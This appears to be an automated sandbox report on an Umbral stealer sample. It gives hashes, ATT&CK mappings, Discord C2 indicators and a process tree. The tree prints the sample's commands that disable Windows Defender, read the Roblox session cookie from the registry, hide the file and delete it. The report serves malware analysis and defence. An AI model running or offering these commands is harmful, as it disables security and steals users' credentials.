umbral | 3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/01/2025, 05:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe
Size

229KB
MD5

4bc2e7ac1436d46b28811c13b73b7700
SHA1

113e650f1c5d41a20bdcf33152d2b90ba23b04e9
SHA256

3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0
SHA512

114eb0f25fd0d1f9378645007f327dd7d9aa99065e3982b473a89bd08fb529c3d6d0092c79dc1f6fa12ed99e2f12a7820b6e3c9254f5d838df29131bb7b2001f
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD4/E0fAmB5Kz/Cwhl0Adb8e1mc3li:voZtL+EP8/E0fAmB5Kz/Cwhl007c

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2392-1-0x0000000000D80000-0x0000000000DC0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2872	powershell.exe
2840	powershell.exe
2640	powershell.exe
1756	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe

Deletes itself 1 IoCs

pid	Process
3012	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3012	cmd.exe
1124	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2264	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1124	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe
2872	powershell.exe
2840	powershell.exe
2640	powershell.exe
576	powershell.exe
1756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe
Token: SeIncreaseQuotaPrivilege	948	wmic.exe
Token: SeSecurityPrivilege	948	wmic.exe
Token: SeTakeOwnershipPrivilege	948	wmic.exe
Token: SeLoadDriverPrivilege	948	wmic.exe
Token: SeSystemProfilePrivilege	948	wmic.exe
Token: SeSystemtimePrivilege	948	wmic.exe
Token: SeProfSingleProcessPrivilege	948	wmic.exe
Token: SeIncBasePriorityPrivilege	948	wmic.exe
Token: SeCreatePagefilePrivilege	948	wmic.exe
Token: SeBackupPrivilege	948	wmic.exe
Token: SeRestorePrivilege	948	wmic.exe
Token: SeShutdownPrivilege	948	wmic.exe
Token: SeDebugPrivilege	948	wmic.exe
Token: SeSystemEnvironmentPrivilege	948	wmic.exe
Token: SeRemoteShutdownPrivilege	948	wmic.exe
Token: SeUndockPrivilege	948	wmic.exe
Token: SeManageVolumePrivilege	948	wmic.exe
Token: 33	948	wmic.exe
Token: 34	948	wmic.exe
Token: 35	948	wmic.exe
Token: SeIncreaseQuotaPrivilege	948	wmic.exe
Token: SeSecurityPrivilege	948	wmic.exe
Token: SeTakeOwnershipPrivilege	948	wmic.exe
Token: SeLoadDriverPrivilege	948	wmic.exe
Token: SeSystemProfilePrivilege	948	wmic.exe
Token: SeSystemtimePrivilege	948	wmic.exe
Token: SeProfSingleProcessPrivilege	948	wmic.exe
Token: SeIncBasePriorityPrivilege	948	wmic.exe
Token: SeCreatePagefilePrivilege	948	wmic.exe
Token: SeBackupPrivilege	948	wmic.exe
Token: SeRestorePrivilege	948	wmic.exe
Token: SeShutdownPrivilege	948	wmic.exe
Token: SeDebugPrivilege	948	wmic.exe
Token: SeSystemEnvironmentPrivilege	948	wmic.exe
Token: SeRemoteShutdownPrivilege	948	wmic.exe
Token: SeUndockPrivilege	948	wmic.exe
Token: SeManageVolumePrivilege	948	wmic.exe
Token: 33	948	wmic.exe
Token: 34	948	wmic.exe
Token: 35	948	wmic.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1944	wmic.exe
Token: SeSecurityPrivilege	1944	wmic.exe
Token: SeTakeOwnershipPrivilege	1944	wmic.exe
Token: SeLoadDriverPrivilege	1944	wmic.exe
Token: SeSystemProfilePrivilege	1944	wmic.exe
Token: SeSystemtimePrivilege	1944	wmic.exe
Token: SeProfSingleProcessPrivilege	1944	wmic.exe
Token: SeIncBasePriorityPrivilege	1944	wmic.exe
Token: SeCreatePagefilePrivilege	1944	wmic.exe
Token: SeBackupPrivilege	1944	wmic.exe
Token: SeRestorePrivilege	1944	wmic.exe
Token: SeShutdownPrivilege	1944	wmic.exe
Token: SeDebugPrivilege	1944	wmic.exe
Token: SeSystemEnvironmentPrivilege	1944	wmic.exe
Token: SeRemoteShutdownPrivilege	1944	wmic.exe
Token: SeUndockPrivilege	1944	wmic.exe
Token: SeManageVolumePrivilege	1944	wmic.exe
Token: 33	1944	wmic.exe
Token: 34	1944	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 948	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	30
PID 2392 wrote to memory of 948	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	30
PID 2392 wrote to memory of 948	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	30
PID 2392 wrote to memory of 2824	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	33
PID 2392 wrote to memory of 2824	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	33
PID 2392 wrote to memory of 2824	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	33
PID 2392 wrote to memory of 2872	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	35
PID 2392 wrote to memory of 2872	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	35
PID 2392 wrote to memory of 2872	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	35
PID 2392 wrote to memory of 2840	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	37
PID 2392 wrote to memory of 2840	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	37
PID 2392 wrote to memory of 2840	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	37
PID 2392 wrote to memory of 2640	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	39
PID 2392 wrote to memory of 2640	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	39
PID 2392 wrote to memory of 2640	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	39
PID 2392 wrote to memory of 576	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	41
PID 2392 wrote to memory of 576	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	41
PID 2392 wrote to memory of 576	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	41
PID 2392 wrote to memory of 1944	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	44
PID 2392 wrote to memory of 1944	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	44
PID 2392 wrote to memory of 1944	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	44
PID 2392 wrote to memory of 2012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	46
PID 2392 wrote to memory of 2012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	46
PID 2392 wrote to memory of 2012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	46
PID 2392 wrote to memory of 1332	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	48
PID 2392 wrote to memory of 1332	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	48
PID 2392 wrote to memory of 1332	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	48
PID 2392 wrote to memory of 1756	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	50
PID 2392 wrote to memory of 1756	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	50
PID 2392 wrote to memory of 1756	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	50
PID 2392 wrote to memory of 2264	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	52
PID 2392 wrote to memory of 2264	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	52
PID 2392 wrote to memory of 2264	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	52
PID 2392 wrote to memory of 3012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	54
PID 2392 wrote to memory of 3012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	54
PID 2392 wrote to memory of 3012	2392	3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe	54
PID 3012 wrote to memory of 1124	3012	cmd.exe	56
PID 3012 wrote to memory of 1124	3012	cmd.exe	56
PID 3012 wrote to memory of 1124	3012	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2824	attrib.exe

C:\Users\Admin\AppData\Local\Temp\3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe
"C:\Users\Admin\AppData\Local\Temp\3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2012
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2264
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\3a61a0cf3cc36d28922d8215d7ec5414685e195e694bac030bca29a32d9683a0N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c0c987b4e8c390c3c64511ab4ebae644

SHA1
803b8f046b0fcc67443e29decb3c43c5ec2537cd

SHA256
2a6f67644cc66042af8c5df6a9aeed578952bf5f0bb6369eefa6e822137d6990

SHA512
f1989ef32ca1075f8dba1b4e8a230f9dd931d98a82d35effe897bd8e414b1294770160906db974edeba2b8b9d8db2ed6dc4f0371f59fd893041a728c6d8400b4

Download Submit
memory/1756-43-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2392-0-0x000007FEF53B3000-0x000007FEF53B4000-memory.dmp

Filesize
4KB

Download
memory/2392-1-0x0000000000D80000-0x0000000000DC0000-memory.dmp

Filesize
256KB

Download
memory/2392-2-0x000007FEF53B0000-0x000007FEF5D9C000-memory.dmp

Filesize
9.9MB

Download
memory/2392-47-0x000007FEF53B0000-0x000007FEF5D9C000-memory.dmp

Filesize
9.9MB

Download
memory/2840-14-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2840-15-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2872-7-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2872-8-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download